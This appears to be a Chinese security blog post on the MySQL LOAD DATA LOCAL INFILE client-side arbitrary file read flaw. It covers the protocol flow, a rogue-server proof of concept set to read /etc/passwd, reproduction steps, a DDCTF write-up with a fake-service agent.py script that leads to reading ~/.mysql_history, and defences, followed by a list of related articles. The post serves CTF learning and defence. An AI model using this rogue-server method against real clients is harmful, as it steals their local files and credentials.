前言

最近打了 DDCTF和 国赛,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取这个漏洞,下面来详细的学习一个这个漏洞。

漏洞形成原因

此漏洞形成的主要原因在于 LOAD DATA INFILE这个语法上。在官方文档中的介绍为:

该LOAD DATA语句以非常高的速度将文本文件中的行读入表中。 LOAD DATA是补充 SELECT ... INTO OUTFILE。请参见[第13.2.10.1节“SELECT ... INTO语法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要将表中的数据写入文件,请使用 SELECT ... INTO OUTFILE。要将文件读回表中,请使用 LOAD DATA。两个语句的FIELDS和LINES子句的语法 相同。

以下为 LOAD DATA INFILE的两种用法:

  • 从本地服务器导入数据到规定的表里

首先我在本地的 /var/lib/mysqld/1.txt中添加内容 Youhave a girlfriend,执行命令 load data infile"/var/lib/mysql-files/1.txt"intotable users(name),成功添加数据.

  • 从客户端导入数据到服务器上规定的表中

客户端:Ubuntu18.04 IP

服务端:Centos7

在客户端执行命令: mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";,在服务端查看是否添加成果数据

数据成功回显。而造成漏洞的也是第二点操作,通过客户端与服务端的连接来读取任意文件。

从数据包传递层面分析客户端与服务端的文件传输

分析环境:Ubuntu18.04

mysql 5.7

本地Mysql输入命令: mysql-u root-p-h127.0.0.1

同时tcpdump抓取数据包: tcpdump-i lo-l port3306-w los.pcap

下面是抓到的数据包:

我们来分析一下客户端与服务端的 load datalocal过程

1.服务器向客户端发送 Greeting包,包含服务器banner信息(协议线程ID,版本,mysql认证类型等)

2.客户端向服务端发送 LoginRequests数据包,包含客户端的banner信息,以及 LoadDataLocal选项和用户名以及md5加密过的密码

3.Mysql客户端发送请求,探测目标平台的指纹信息,以及进行初始化查询(大多数Mysql客户端在握手后都至少会发送一次请求)这个请求是一个很关键的步骤,在下面我们还会继续解释的。

4.客户端发起Request Query

5.服务端响应对应客户端请求文件名的数据包

6.客户端将所请求文件内容发给服务端

漏洞利用

产生的漏洞为:在客户端发送至少一次查询后,服务端返回Response TABULAR数据包,告诉客户端我们想要读取文件的文件名(实现任意文件读取),由于客户端对于服务端的完全信任,我们就读取到了我们想要的文件。

原理:在Mysql协议中,客户端是不会储存自身请求的,而是通过服务端的响应来执行操作。

利用:我们可以自己去构造一个恶意的Mysql的服务器来实现读取客户端中我们想要的文件,构造服务器最重要的的部分是:在任意时候都能回复一个file-transfer请求,而不是只在客户端发送LOAD

DATA LOCAL数据包时才去响应回复file-transfer请求。所以,只需要客户端在连接服务端后发送一个查询请求,服务端立刻回复一个 file-transfer,即可读取到客户端的本地文件,而常见的 MySQL 客户端都会在建立连接后发送一个请求用来判断服务端的指纹信息(如 select@@version_commentlimit1),这样就达到了我们想要的要求。

所以恶意服务器与客户端交互的流程如下:

构造File-Transfer数据包

在官方文档中是有构造示范的

我们可以通过官方文档来具体了解一下这个数据包的结构到底是怎么样的

通过这张图, 0c代表着数据包的长度, 000001代表着数据包的序列号,从 fb开始,后面的内容为返回到客户端的文件名。

Poc

https://github.com/allyshka/Rogue-MySql-Server

file=('

/etc/passwd',

)

通过更改file括号中的值可以读取我们想要读到的文件。

漏洞复现

实验环境:

攻击机:Centos7 Mysql5.7

靶机:Ubuntu18.04 Mysql5.7

1.首先先将本机的mysql服务关闭: service mysqld stop

2.在服务器上运行恶意服务器脚本: python rogue_mysql_ server.py

3.靶机远程连接攻击机数据库: mysql-hYour_vps-u root-p-P3306;

4.成功得到靶机中 /etc/passwd的敏感数据

CTF中的应用

这次的DDCTF以及国赛中都出现了Mysql客户端任意文件读取的这个漏洞.

下面对利用这个漏洞解答一下DDCTF

首先进入页面发现

扫描器正好符合我们的漏洞原理,在扫描的过程中用弱口令进行 3306端口的爆破登陆,所以我们可以利用构造恶意服务器来读取扫描器中的文件。

先在服务器上布置 agent.py进行扫描,发现回显,未扫描出弱口令,如果不布置 agent.py,回显,不存在 mysql服务 ,修改一下 agent.py源码,让其以为我们一直开着 mysql

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# @Time : 12/1/2019 2:58 PM

# @Author : fz

# @Site :

# @File : agent.py

# @Software: PyCharm

import json

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

from optparse import OptionParser

from subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

request_path = self.path

print("\n----- Request Start ----->\n")

print("request_path :", request_path)

print("UA :", self.headers.getheaders('user-agent'))

print("self.headers :", self.headers)

print(")

self.send_response(404)

self.send_header("Set-Cookie", "foo=flag")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def do_POST(self):

request_path = self.path

# print("\n----- Request Start ----->\n")

print("request_path : %s", request_path)

request_headers = self.headers

content_length = request_headers.getheaders('content-length')

length = int(content_length[0]) if content_length else 0

# print("length :", length)

print("request_headers : %s" % request_headers)

print("content : %s" % self.rfile.read(length))

# print("

self.send_response(404)

self.send_header("Set-Cookie", "foo=bar")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def _func(self):

netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)

netstat.wait()

ps_list = netstat.stdout.readlines()

result = []

for item in ps_list[2:]:

tmp = item.split()

Local_Address = tmp[3]

Process_name = tmp[6]

tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}

result.append(tmp_dic)

return result

do_PUT = do_POST

do_DELETE = do_GET

def main():

port = 8123

print('Listening on localhost:%s' % port)

server = HTTPServer(('0.0.0.0', port), RequestHandler)

server.serve_forever()

if __name__ == "__main__":

parser = OptionParser()

parser.usage = (

"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"

"Run:\n\n")

(options, args) = parser.parse_args()

main()

在服务器上运行这个脚本,再开启我们的 mysql伪造恶意服务器,读取一下 ~/.mysql_history

得到 Flag回显

防御手段

  • 避免使用 local读取本地文件

  • 使用 --ssl-mode=VERIFY_IDENTITY来建立可信的连接。

读取txt原理_Mysql客户端任意文件读取学习相关推荐

  1. Grafana任意文件读取

    Grafana任意文件读取 漏洞描述 Grafana存在任意文件读取漏洞,通过默认存在的插件,可构造特殊的请求包读取服务器任意文件 影响版本 Grafana 8.x 漏洞复现 POC HTTP://X ...

  2. wsgiserver python 漏洞_新型任意文件读取漏洞的研究

    0x00 前言 早前发现boooom在乌云上发了很多个任意文件读取的漏洞,都是形如 http://target/../../../../etc/passwd 这样.当时感觉很新奇,因为正常情况下,通常 ...

  3. 【MetInfo任意文件读取】--任意文件读取漏洞

    文章目录 漏洞信息 一.漏洞产生的原因 二.漏洞利用 1.对靶机网址进行burp抓包 2.对上述请求包进行修改 三.漏洞修复与绕过--四种修复与绕过 1.置空../和./ 2.对$dir进行判断 3. ...

  4. 任意文件读取与下载漏洞学习

    原理: 任意文件读取漏洞属于文件操作类漏洞,一般常见于PHP/java/python语言中.任意文件读取漏洞,就是可以任意读取服务器上部分或者全部文件的漏洞,攻击者利用此漏洞可以读取服务器敏感文件如/ ...

  5. CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析

    title: CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 date: 2021-05-19 01:07:08 categ ...

  6. CSS-T | Mysql Client 任意文件读取攻击链拓展

    作者:LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室 原文地址:https://paper.seebug.org/1112/#_6 英文版本:https://pap ...

  7. php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

    PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033 影响版本:PHPMailer< 5.2.18 漏洞级别: 高危 漏洞POC: PHPMa ...

  8. ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现及环境搭建

    ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现 漏洞介绍 ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏 ...

  9. mysql任意文件读取漏洞学习

    前言 最近在做ctf题时发现关于mysql任意文件读取漏洞的考点非常频繁,而且一直都朦胧不清,也没去学习,在不久前的DDCTF和国赛,还有最近的Nu1lCTF中都考到了这个点,利用Load data ...

最新文章

  1. python3常用函数大全_Python3NumPy——常用函数
  2. python中map函数运行原理_Python中map函数的解释和可视化
  3. 《Effective Java》读书笔记八(异常)
  4. Silverlight3 Tools Download link
  5. mysql导出bacpac_在 Azure 中备份应用
  6. python语言的取余运算符_Python 中用于整数除法取余的运算符是()_学小易找答案...
  7. Fish Shell 使用笔记
  8. C#不支持XPATH2.0
  9. 转jmeter 性能测试 JDBC Request (查询数据库获取数据库数据) 的使用
  10. Zookeeper基础使用
  11. 大数据如何更好进行分析
  12. (转)Java 之 FileReader FileInputStream InputStreamReader BufferedReader 作用与区别
  13. 教你如何迅速秒杀掉:99%的海量数据处理面试题 1
  14. UART read过程分析
  15. Steam平台3款2D游戏开发软件对比(转)
  16. YOLOv4论文(中文版)
  17. 离散数学学习笔记-01-随机试验与随机事件
  18. python中scroll的用法_Python_关于self.cur.scroll()的使用理解
  19. 软件创新实验室:MySQL数据库与简单SQL语句使用
  20. GS1011无线模块的使用简介。

热门文章

  1. 在MyEclipse中更换或修改svn的用户名和密码
  2. centos6.5安装配置zabbix3.0.3
  3. hdu - 2667 Proving Equivalences(强连通)
  4. 二 jQuery 语法
  5. HTML5与原生APP之争胜负已出?
  6. hadoop单机配置(非分布式)
  7. feign调用接口参数可以为null吗_FeignClient调用POST请求时查询参数被丢失的情况分析与处理...
  8. postgresql 远程用户_构建Python pandas基于SSH远程MySQL和PostgreSQL的数据分析
  9. html5 banner特效,HTML5特效库 CSS3遮罩banner动画特效源码
  10. CSAPP--信息的表示与处理